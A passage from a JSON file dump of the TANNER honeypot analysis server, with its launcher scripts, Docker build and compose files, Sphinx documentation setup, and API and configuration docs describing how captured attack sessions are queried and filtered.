    "content": "#!/usr/bin/python3.7\nimport argparse\n\nfrom tanner.config import TannerConfig\nfrom tanner import server\nfrom tanner.utils import logger\n\n\ndef main():\n    print(\n        \"\"\"\n      _________    _   ___   ____________\n     /_  __/   |  / | / / | / / ____/ __ \\\\\n      / / / /| | /  |/ /  |/ / __/ / /_/ /\n     / / / ___ |/ /|  / /|  / /___/ _, _/\n    /_/ /_/  |_/_/ |_/_/ |_/_____/_/ |_|\n\n    \"\"\"\n    )\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--config\", help=\"tanner config\")\n    args = parser.parse_args()\n    if args.config:\n        TannerConfig.set_config(args.config)\n    debug_log_file_name = TannerConfig.get(\"LOGGER\", \"log_debug\")\n    error_log_file_name = TannerConfig.get(\"LOGGER\", \"log_err\")\n    logger.Logger.create_logger(debug_log_file_name, error_log_file_name, __package__)\n    print(\"Debug logs will be stored in\", debug_log_file_name)\n    print(\"Error logs will be stored in\", error_log_file_name)\n    if TannerConfig.get(\"LOCALLOG\", \"enabled\") is True:\n        print(\"Data logs will be stored in\", TannerConfig.get(\"LOCALLOG\", \"PATH\"))\n    tanner = server.TannerServer()\n    tanner.start()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "bin/tannerapi",
    "content": "#!/usr/bin/python3.7\nimport argparse\n\nfrom tanner.api import server\nfrom tanner.config import TannerConfig\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--config\", help=\"tanner config\")\n    args = parser.parse_args()\n    if args.config:\n        TannerConfig.set_config(args.config)\n\n    api = server.ApiServer()\n    api.start()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "bin/tannerweb",
    "content": "#!/usr/bin/python3.7\nimport argparse\n\nfrom tanner.web import server\nfrom tanner.config import TannerConfig\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--config\", help=\"tanner config\")\n    args = parser.parse_args()\n    if args.config:\n        TannerConfig.set_config(args.config)\n\n    tannerweb = server.TannerWebServer()\n    tannerweb.start()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "docker/docker-compose.yml",
    "content": "version: '2.3'\n\nnetworks:\n  tanner_local:\n\nservices:\n\n# Tanner Redis Service\n  tanner_redis:\n    build: ./redis\n    container_name: tanner_redis\n    restart: always\n    stop_signal: SIGKILL\n    tty: true\n    networks:\n     - tanner_local\n    image: \"mushorg/redis:latest\"\n    read_only: true\n\n# PHP Sandbox service\n  tanner_phpox:\n    build: ./phpox\n    container_name: tanner_phpox\n    restart: always\n    stop_signal: SIGKILL\n    tty: true\n    networks:\n     - tanner_local\n    image: \"mushorg/phpox:latest\"\n    read_only: true\n    tmpfs: \"/tmp\"\n\n# Tanner API Service\n  tanner_api:\n    build: ./tanner\n    environment:\n      - PATH=/opt/tanner/tanner-env/bin/:$PATH\n    container_name: tanner_api\n    restart: always\n    stop_signal: SIGKILL\n    tmpfs:\n     - /tmp/tanner:uid=65534,gid=65534\n     - /var/log/tanner:uid=65534,gid=65534\n    tty: true\n    networks:\n     - tanner_local\n    image: \"mushorg/tanner:latest\"\n    read_only: true\n    command: tannerapi\n    depends_on:\n     - tanner_redis\n\n# Tanner WEB Service\n  tanner_web:\n    build: ./tanner\n    environment:\n      - PATH=/opt/tanner/tanner-env/bin/:$PATH\n    container_name: tanner_web\n    restart: always\n    stop_signal: SIGKILL\n    tmpfs:\n     - /tmp/tanner:uid=65534,gid=65534\n     - /var/log/tanner:uid=65534,gid=65534\n    tty: true\n    networks:\n     - tanner_local\n    ports:\n     - \"8091:8091\"\n    image: \"mushorg/tanner:latest\"\n    command: tannerweb\n    read_only: true\n    depends_on:\n     - tanner_redis\n\n# Tanner Service\n  tanner:\n    build: ./tanner\n    environment:\n      - PATH=/opt/tanner/tanner-env/bin/:$PATH\n    container_name: tanner\n    restart: always\n    stop_signal: SIGKILL\n    tmpfs:\n     - /tmp/tanner:uid=65534,gid=65534\n     - /var/log/tanner:uid=65534,gid=65534\n     - /opt/tanner/files:uid=65534,gid=65534\n    tty: true\n    networks:\n     - tanner_local\n    ports:\n     - \"8090:8090\"\n    image: \"mushorg/tanner:latest\"\n    command: tanner\n    read_only: true\n    depends_on:\n     - tanner_api\n     - tanner_web\n     - tanner_phpox\n"
  },
  {
    "path": "docker/phpox/Dockerfile",
    "content": "FROM alpine:3.18\n#\n# Install packages\nRUN apk -U --no-cache add \\\n               build-base \\\n               file \\\n               git \\\n               make \\\n               php \\\n               php81-dev \\\n               php-tokenizer \\\n               python3 \\\n               py3-pip \\\n               python3-dev \\\n               re2c && \\\n#\n# Install bfr sandbox from git\n    git clone --depth=1 https://github.com/mushorg/BFR /opt/BFR && \\\n    cd /opt/BFR && \\\n    php --version && \\\n    phpize && \\\n    ./configure \\\n      --enable-bfr && \\\n    make && \\\n    make install && \\\n    cd / && \\\n    rm -rf /opt/BFR /tmp/* /var/tmp/* && \\\n    php --ini | grep Loaded && \\\n    echo \"zend_extension = \"$(find /usr -name bfr.so) >> /etc/php81/php.ini && \\\n#\n# Install PHP Sandbox\n    git clone --depth=1 https://github.com/mushorg/phpox /opt/phpox && \\\n    cd /opt/phpox && \\\n    pip install -r requirements.txt && \\\n    make && \\\n#\n# Clean up\n    apk del --purge build-base \\\n                    git \\\n                    php-dev \\\n                    python3-dev && \\\n    rm -rf /root/* && \\\n    rm -rf /var/cache/apk/*\n#\n# Set workdir and start phpsandbox\nUSER nobody:nobody\nWORKDIR /opt/phpox\nCMD [\"python3\", \"sandbox.py\"]\n"
  },
  {
    "path": "docker/redis/Dockerfile",
    "content": "FROM redis:alpine\n\n# Include dist\nADD dist/ /root/dist/\n\n# Setup apt\nRUN apk -U --no-cache add redis && \\ \n    cp /root/dist/redis.conf /etc && \\\n# Clean up\n    rm -rf /root/* && \\\n    rm -rf /tmp/* /var/tmp/* && \\\n    rm -rf /var/cache/apk/*\n\n# Start redis\nUSER nobody:nobody\nCMD redis-server /etc/redis.conf\n"
  },
  {
    "path": "docker/tanner/Dockerfile",
    "content": "FROM alpine:3.15\n\n# Include dist\nADD dist/ /root/dist/\n\n# Setup apt\nRUN apk -U --no-cache add \\\n               build-base \\\n               git \\\n               libcap \\\n               libffi-dev \\\n               libressl-dev \\\n               linux-headers \\\n               py3-yarl \\\n               python3 \\\n               python3-dev \\\n               py3-pip && \\\n# Setup Tanner\n    git clone --depth=1 https://github.com/mushorg/tanner /opt/tanner && \\\n    cp /root/dist/config.yaml /opt/tanner/tanner/data/ && \\\n    cd /opt/tanner/ && \\\n    python3 -m venv tanner-env && \\\n    source /opt/tanner/tanner-env/bin/activate && \\\n    pip install --upgrade pip && \\\n    pip3 install --no-cache-dir wheel && \\\n    pip3 install --no-cache-dir -r requirements.txt && \\\n    python3 setup.py install && \\\n    cd / && \\\n# Setup configs, user, groups\n    chown -R nobody:nobody /opt/tanner && \\\n# Clean up\n    apk del --purge \\\n            build-base \\\n            linux-headers \\\n            python3-dev && \\\n    rm -rf /root/* && \\\n    rm -rf /tmp/* /var/tmp/* && \\\n    rm -rf /var/cache/apk/*\n\n# Start tanner\nUSER nobody:nobody\nWORKDIR /opt/tanner\nCMD [\"/opt/tanner/tanner-env/bin/tanner\", \"--config\", \"/opt/tanner/tanner/data/config.yaml\"]\n\n"
  },
  {
    "path": "docker/tanner/template_injection/Dockerfile",
    "content": "FROM alpine\n\nRUN apk -U --no-cache add \\\n  python3\n\nRUN pip3 install --upgrade pip && \\\n    pip3 install --no-cache-dir \\\n    tornado \\\n    jinja2 \\\n    mako\n"
  },
  {
    "path": "docs/Makefile",
    "content": "# Makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = sphinx-build\nPAPER         =\nBUILDDIR      = build\n\n# Internal variables.\nPAPEROPT_a4     = -D latex_paper_size=a4\nPAPEROPT_letter = -D latex_paper_size=letter\nALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source\n# the i18n builder cannot share the environment and doctrees with the others\nI18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source\n\n.PHONY: help\nhelp:\n\t@echo \"Please use \\`make <target>' where <target> is one of\"\n\t@echo \"  html       to make standalone HTML files\"\n\t@echo \"  dirhtml    to make HTML files named index.html in directories\"\n\t@echo \"  singlehtml to make a single large HTML file\"\n\t@echo \"  pickle     to make pickle files\"\n\t@echo \"  json       to make JSON files\"\n\t@echo \"  htmlhelp   to make HTML files and a HTML help project\"\n\t@echo \"  qthelp     to make HTML files and a qthelp project\"\n\t@echo \"  applehelp  to make an Apple Help Book\"\n\t@echo \"  devhelp    to make HTML files and a Devhelp project\"\n\t@echo \"  epub       to make an epub\"\n\t@echo \"  epub3      to make an epub3\"\n\t@echo \"  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter\"\n\t@echo \"  latexpdf   to make LaTeX files and run them through pdflatex\"\n\t@echo \"  latexpdfja to make LaTeX files and run them through platex/dvipdfmx\"\n\t@echo \"  text       to make text files\"\n\t@echo \"  man        to make manual pages\"\n\t@echo \"  texinfo    to make Texinfo files\"\n\t@echo \"  info       to make Texinfo files and run them through makeinfo\"\n\t@echo \"  gettext    to make PO message catalogs\"\n\t@echo \"  changes    to make an overview of all changed/added/deprecated items\"\n\t@echo \"  xml        to make Docutils-native XML files\"\n\t@echo \"  pseudoxml  to make pseudoxml-XML files for display purposes\"\n\t@echo \"  linkcheck  to check all external links for integrity\"\n\t@echo \"  doctest    to run all doctests embedded in the documentation (if enabled)\"\n\t@echo \"  coverage   to run coverage check of the documentation (if enabled)\"\n\t@echo \"  dummy      to check syntax errors of document sources\"\n\n.PHONY: clean\nclean:\n\trm -rf $(BUILDDIR)/*\n\n.PHONY: html\nhtml:\n\t$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/html.\"\n\n.PHONY: dirhtml\ndirhtml:\n\t$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/dirhtml.\"\n\n.PHONY: singlehtml\nsinglehtml:\n\t$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml\n\t@echo\n\t@echo \"Build finished. The HTML page is in $(BUILDDIR)/singlehtml.\"\n\n.PHONY: pickle\npickle:\n\t$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle\n\t@echo\n\t@echo \"Build finished; now you can process the pickle files.\"\n\n.PHONY: json\njson:\n\t$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json\n\t@echo\n\t@echo \"Build finished; now you can process the JSON files.\"\n\n.PHONY: htmlhelp\nhtmlhelp:\n\t$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp\n\t@echo\n\t@echo \"Build finished; now you can run HTML Help Workshop with the\" \\\n\t      \".hhp project file in $(BUILDDIR)/htmlhelp.\"\n\n.PHONY: qthelp\nqthelp:\n\t$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp\n\t@echo\n\t@echo \"Build finished; now you can run \"qcollectiongenerator\" with the\" \\\n\t      \".qhcp project file in $(BUILDDIR)/qthelp, like this:\"\n\t@echo \"# qcollectiongenerator $(BUILDDIR)/qthelp/tanner.qhcp\"\n\t@echo \"To view the help file:\"\n\t@echo \"# assistant -collectionFile $(BUILDDIR)/qthelp/tanner.qhc\"\n\n.PHONY: applehelp\napplehelp:\n\t$(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp\n\t@echo\n\t@echo \"Build finished. The help book is in $(BUILDDIR)/applehelp.\"\n\t@echo \"N.B. You won't be able to view it unless you put it in\" \\\n\t      \"~/Library/Documentation/Help or install it in your application\" \\\n\t      \"bundle.\"\n\n.PHONY: devhelp\ndevhelp:\n\t$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp\n\t@echo\n\t@echo \"Build finished.\"\n\t@echo \"To view the help file:\"\n\t@echo \"# mkdir -p $$HOME/.local/share/devhelp/tanner\"\n\t@echo \"# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/tanner\"\n\t@echo \"# devhelp\"\n\n.PHONY: epub\nepub:\n\t$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub\n\t@echo\n\t@echo \"Build finished. The epub file is in $(BUILDDIR)/epub.\"\n\n.PHONY: epub3\nepub3:\n\t$(SPHINXBUILD) -b epub3 $(ALLSPHINXOPTS) $(BUILDDIR)/epub3\n\t@echo\n\t@echo \"Build finished. The epub3 file is in $(BUILDDIR)/epub3.\"\n\n.PHONY: latex\nlatex:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo\n\t@echo \"Build finished; the LaTeX files are in $(BUILDDIR)/latex.\"\n\t@echo \"Run \\`make' in that directory to run these through (pdf)latex\" \\\n\t      \"(use \\`make latexpdf' here to do that automatically).\"\n\n.PHONY: latexpdf\nlatexpdf:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through pdflatex...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\n.PHONY: latexpdfja\nlatexpdfja:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through platex and dvipdfmx...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf-ja\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\n.PHONY: text\ntext:\n\t$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text\n\t@echo\n\t@echo \"Build finished. The text files are in $(BUILDDIR)/text.\"\n\n.PHONY: man\nman:\n\t$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man\n\t@echo\n\t@echo \"Build finished. The manual pages are in $(BUILDDIR)/man.\"\n\n.PHONY: texinfo\ntexinfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo\n\t@echo \"Build finished. The Texinfo files are in $(BUILDDIR)/texinfo.\"\n\t@echo \"Run \\`make' in that directory to run these through makeinfo\" \\\n\t      \"(use \\`make info' here to do that automatically).\"\n\n.PHONY: info\ninfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo \"Running Texinfo files through makeinfo...\"\n\tmake -C $(BUILDDIR)/texinfo info\n\t@echo \"makeinfo finished; the Info files are in $(BUILDDIR)/texinfo.\"\n\n.PHONY: gettext\ngettext:\n\t$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale\n\t@echo\n\t@echo \"Build finished. The message catalogs are in $(BUILDDIR)/locale.\"\n\n.PHONY: changes\nchanges:\n\t$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes\n\t@echo\n\t@echo \"The overview file is in $(BUILDDIR)/changes.\"\n\n.PHONY: linkcheck\nlinkcheck:\n\t$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck\n\t@echo\n\t@echo \"Link check complete; look for any errors in the above output \" \\\n\t      \"or in $(BUILDDIR)/linkcheck/output.txt.\"\n\n.PHONY: doctest\ndoctest:\n\t$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest\n\t@echo \"Testing of doctests in the sources finished, look at the \" \\\n\t      \"results in $(BUILDDIR)/doctest/output.txt.\"\n\n.PHONY: coverage\ncoverage:\n\t$(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage\n\t@echo \"Testing of coverage in the sources finished, look at the \" \\\n\t      \"results in $(BUILDDIR)/coverage/python.txt.\"\n\n.PHONY: xml\nxml:\n\t$(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml\n\t@echo\n\t@echo \"Build finished. The XML files are in $(BUILDDIR)/xml.\"\n\n.PHONY: pseudoxml\npseudoxml:\n\t$(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml\n\t@echo\n\t@echo \"Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml.\"\n\n.PHONY: dummy\ndummy:\n\t$(SPHINXBUILD) -b dummy $(ALLSPHINXOPTS) $(BUILDDIR)/dummy\n\t@echo\n\t@echo \"Build finished. Dummy builder generates no files.\"\n"
  },
  {
    "path": "docs/source/api.rst",
    "content": "Tanner API\n==========\nTanner api provides various stats related to traffic captured by snare. It can be accessed at ``locahost:8092/?key=API_KEY``.\n\nwhere, ``API_KEY`` is a JWT-token created by a particular tanner-api, which can be found during tanner-api startup: \n\n``API_KEY for full access: 'API_KEY'``\n\nHow to create an API_KEY with desired signature?\n~~~~~~~~\n* By default tanner's API_KEYs use the signature: 'tanner_api_auth'\n* This signature is veryfied on all the API requests.\n* It is highly recommended that every tanner-owner set their own signature.\n* This can be done by modifying tanner.config['API']['auth_signature'] to the desired one.\n\n/?key=API_KEY\n~~~~\nThis is the index page which shows ``tanner api``.\n\n/snares\n~~~~~~~~~~\nThis shows all the snares' uuid.\n\n/snare/<snare-uuid>?key=API_KEY\n~~~~~~~~~~~~~~~~~~~~~~\nReplace ``<snare-uuid>`` with a valid `snare-uuid` and it will show all the sessions related to that ``snare-uuid`` and their details.\n\n/snare-stats/<snare-uuid>?key=API_KEY\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nReplace ``<snare-uuid>`` with a valid `snare-uuid` and it will show some stats.\n\n\t* No of sessions in the sanre\n\t* Total duration for which snare remains active\n\t* Attack frequency, which shows no of sessions which face different attacks.\n\n/<snare-uuid>/sessions?filters=<filters>&key=API_KEY\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nThis shows all the sessions' uuid which follow the filters.\nFilters are sepatated by ``white-space`` and name-value pair are separated by ``:``. E.g ``?filters=filter1:value1 filter2:value2``.\n\nIt supports 5 filters:\n\n\t* **peer_ip** -- Sessions with given ip. E.g ``peer_ip:127.0.0.1 ``\n\t* **user-agent** -- Sessions with given user-agent. E.g ``user-agent:Chrome``\n\t* **attack_types** -- Sessions with given attack type such as lfi, rfi, xss, cmd_exec, sqli. E.g ``attack_types:lfi``\n\t* **possible_owners** -- Sessions with given owner type such as user, tool, crawler, attacker. E.g ``possible_owners:attacker``\n\t* **start_time** -- Sessions which started after `start_time`. E.g ``start_time:1480560``\n\t* **end_time** -- Sessions which ended before `end_time`. E.g ``end_time:1480560``\n\nMultiple filters can be applied as ``peer_ip:127.0.0.1 start_time:1480560 possible_owners:attacker``\n\n/api/session/<sess-uuid>?key=API_KEY\n~~~~~~~~~~~~~~~~~~~~~~~~\nIt gives all information about the session with given uuid.\n\nExternal hyperlinks, like Python_.\n.. _Python: http://www.python.org/\n"
  },
  {
    "path": "docs/source/conf.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# tanner documentation build configuration file, created by\n# sphinx-quickstart on Wed Jun 22 22:07:03 2016.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\n# import os\n# import sys\n# sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = [\"_templates\"]\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = \".rst\"\n\n# The encoding of source files.\n#\n# source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = \"index\"\n\n# General information about the project.\nproject = \"tanner\"\ncopyright = \"2016, mushorg\"\nauthor = \"mushorg\"\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = \"1.0\"\n# The full version, including alpha/beta/rc tags.\nrelease = \"1.0\"\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#\n# today = ''\n#\n# Else, today_fmt is used as the format for a strftime call.\n#\n# today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This patterns also effect to html_static_path and html_extra_path\nexclude_patterns = []\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#\n# default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#\n# add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#\n# add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#\n# show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = \"sphinx\"\n\n# A list of ignored prefixes for module index sorting.\n# modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n# keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = \"alabaster\"\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#\n# html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n# html_theme_path = []\n\n# The name for this set of Sphinx documents.\n# \"<project> v<release> documentation\" by default.\n#\n# html_title = 'tanner v1.0'\n\n# A shorter title for the navigation bar.  Default is the same as html_title.\n#\n# html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#\n# html_logo = None\n\n# The name of an image file (relative to this directory) to use as a favicon of\n# the docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#\n# html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = [\"_static\"]\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#\n# html_extra_path = []\n\n# If not None, a 'Last updated on:' timestamp is inserted at every page\n# bottom, using the given strftime format.\n# The empty string is equivalent to '%b %d, %Y'.\n#\n# html_last_updated_fmt = None\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#\n# html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#\n# html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#\n# html_additional_pages = {}\n\n# If false, no module index is generated.\n#\n# html_domain_indices = True\n\n# If false, no index is generated.\n#\n# html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#\n# html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#\n# html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#\n# html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#\n# html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it.  The value of this option must be the\n# base URL from which the finished HTML is served.\n#\n# html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n# html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n#   'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'\n#   'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr', 'zh'\n#\n# html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# 'ja' uses this config value.\n# 'zh' user can custom change `jieba` dictionary path.\n#\n# html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#\n# html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = \"tannerdoc\"\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    #\n    # 'papersize': 'letterpaper',\n    # The font size ('10pt', '11pt' or '12pt').\n    #\n    # 'pointsize': '10pt',\n    # Additional stuff for the LaTeX preamble.\n    #\n    # 'preamble': '',\n    # Latex figure (float) alignment\n    #\n    # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n    (master_doc, \"tanner.tex\", \"tanner Documentation\", \"mushorg\", \"manual\"),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#\n# latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#\n# latex_use_parts = False\n\n# If true, show page references after internal links.\n#\n# latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#\n# latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#\n# latex_appendices = []\n\n# If false, no module index is generated.\n#\n# latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [(master_doc, \"tanner\", \"tanner Documentation\", [author], 1)]\n\n# If true, show URL addresses after external links.\n#\n# man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (\n        master_doc,\n        \"tanner\",\n        \"tanner Documentation\",\n        author,\n        \"tanner\",\n        \"One line description of project.\",\n        \"Miscellaneous\",\n    ),\n]\n\n# Documents to append as an appendix to all manuals.\n#\n# texinfo_appendices = []\n\n# If false, no module index is generated.\n#\n# texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#\n# texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#\n# texinfo_no_detailmenu = False\n"
  },
  {
    "path": "docs/source/config.rst",
    "content": "Configuration file\n==================\nTanner uses ``YAML`` like format for configuration file. It's value can specified by using ``config`` flag.\n\nThe use of ``INI`` configuration file is obsolete now.\n\nThere are 8 different sections :\n  * **DATA**\n    # Data configuration\n    :db_config: Location of SQLI database configuration\n    :dorks: Location of dorks\n    :user_dorks: Location of user dorks\n  * **TANNER**\n\n    :host: The host at which Tanner is running\n    :port: The port at which Tanner is running\n  * **WEB**\n    # Tanner web configuration\n    :host: The host at which Tanner Web UI is running\n    :port: The port at which Tanner Web UI is running\n  * **API**\n    # Tanner API configuration\n    :Host: The host at which Tanner API is running\n    :Port: The port at which Tanner API is running\n  * **PHPOX**\n\n    :Host: The host at which PHPOX is running\n    :Port: The port at which PHPOX is running\n  * **REDIS**\n    # Configure redis if it's running on some different port or network.\n    \n    :host: The host address at which redis is running\n    :port: The port at which which redis is running\n    :poolsize: The poolsize of redis server\n    :timeout: The duration of timeout for redis server\n  * **EMULATORS**\n    \n    :root_dir: The root directory for emulators that need data storing such as SQLI and LFI. Data will be stored in this directory\n\n    * **EMULATOR_ENABLED**\n      # Enable or disable emulators by setting value true or false respectively.\n      :sqli: True if this emulator is enabled else False\n      :rfi: True if this emulator is enabled else False\n      :lfi: True if this emulator is enabled else False\n      :xss: True if this emulator is enabled else False\n      :cmd_exec: True if this emulator is enabled else False\n\n  * **SQLI**\n\n    :type: Supports two types MySQL/SQLITE\n    :db_name: The name of database used in SQLI emulator\n    :host: This will be used for MySQL to get the host address\n    :user: This is the MySQL user which perform DB queries\n    :password: The password corresponding to the above user\n  * **DOCKER**\n\n    :host_image: The image which emulates commands in Command Execution Emulator and file system in LFI emulator\n  * **LOGGER**\n\n    :log_debug: Location of tanner log file\n    :log_err: Location of tanner error file\n  * **MONGO**\n\n    :enabled: Check whether MONGO database is enabled\n    :URI: URI for connecting to MONGO DB\n  * **HPFEEDS**\n\n    :enabled: Check whether HPFEEDS logging is enabled\n    :HOST: IP address or name of the hpfeeds server\n    :PORT: Port of the hpfeeds service\n    :IDENT: Identifier of the hpfeeds client\n    :SECRET: Secret of the hpfeeds client\n    :CHANNEL: Channel to which publish messages\n  * **LOCALLOG**\n\n    :enabled: Check local(temporary) logging is enabled\n    :PATH: Location of file for local(temporary) logging\n\nIf no file is specified, following YAML will be used as default:\n\n.. code-block:: python\n\n  DATA:\n    db_config: /opt/tanner/db/db_config.json\n    